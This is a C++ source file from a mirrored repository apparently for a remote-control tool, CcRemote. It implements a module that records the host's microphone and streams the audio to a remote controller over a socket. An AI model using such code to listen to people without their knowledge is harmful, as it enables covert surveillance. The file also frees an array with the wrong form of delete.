mirror of
https://github.com/Cc28256/CcRemote.git
synced 2025-06-09 13:59:50 +00:00
85 lines
1.8 KiB
C++
85 lines
1.8 KiB
C++
// AudioManager.cpp: implementation of the CAudioManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
#include "..\pch.h"
|
|
#include "AudioManager.h"
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
bool CAudioManager::m_bIsWorking = false;
|
|
|
|
CAudioManager::CAudioManager(CClientSocket *pClient) : CManager(pClient)
|
|
{
|
|
if (!Initialize())
|
|
return;
|
|
|
|
BYTE bToken = TOKEN_AUDIO_START;
|
|
Send(&bToken, 1);
|
|
// Wait for remote dialog open and init
|
|
WaitForDialogOpen();
|
|
|
|
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
|
|
|
}
|
|
|
|
CAudioManager::~CAudioManager()
|
|
{
|
|
m_bIsWorking = false;
|
|
WaitForSingleObject(m_hWorkThread, INFINITE);
|
|
|
|
delete m_lpAudio;
|
|
}
|
|
|
|
bool CAudioManager::Initialize()
|
|
{
|
|
if (!waveInGetNumDevs())
|
|
return false;
|
|
|
|
// 正在使用中.. 防止重复使用
|
|
if (m_bIsWorking)
|
|
return false;
|
|
|
|
m_lpAudio = new CAudio;
|
|
|
|
m_bIsWorking = true;
|
|
return true;
|
|
}
|
|
|
|
int CAudioManager::sendRecordBuffer()
|
|
{
|
|
DWORD dwBytes = 0;
|
|
UINT nSendBytes = 0;
|
|
LPBYTE lpBuffer = m_lpAudio->getRecordBuffer(&dwBytes);
|
|
if (lpBuffer == NULL)
|
|
return 0;
|
|
LPBYTE lpPacket = new BYTE[dwBytes + 1];
|
|
lpPacket[0] = TOKEN_AUDIO_DATA;
|
|
memcpy(lpPacket + 1, lpBuffer, dwBytes);
|
|
|
|
if (dwBytes > 0)
|
|
nSendBytes = Send(lpPacket, dwBytes + 1);
|
|
delete lpPacket;
|
|
|
|
return nSendBytes;
|
|
}
|
|
|
|
void CAudioManager::OnReceive( LPBYTE lpBuffer, UINT nSize )
|
|
{
|
|
if (nSize == 1 && lpBuffer[0] == COMMAND_NEXT)
|
|
{
|
|
NotifyDialogIsOpen();
|
|
return;
|
|
}
|
|
m_lpAudio->playBuffer(lpBuffer, nSize);
|
|
}
|
|
|
|
DWORD WINAPI CAudioManager::WorkThread( LPVOID lparam )
|
|
{
|
|
CAudioManager *pThis = (CAudioManager *)lparam;
|
|
while (pThis->m_bIsWorking)
|
|
pThis->sendRecordBuffer();
|
|
|
|
return -1;
|
|
}
|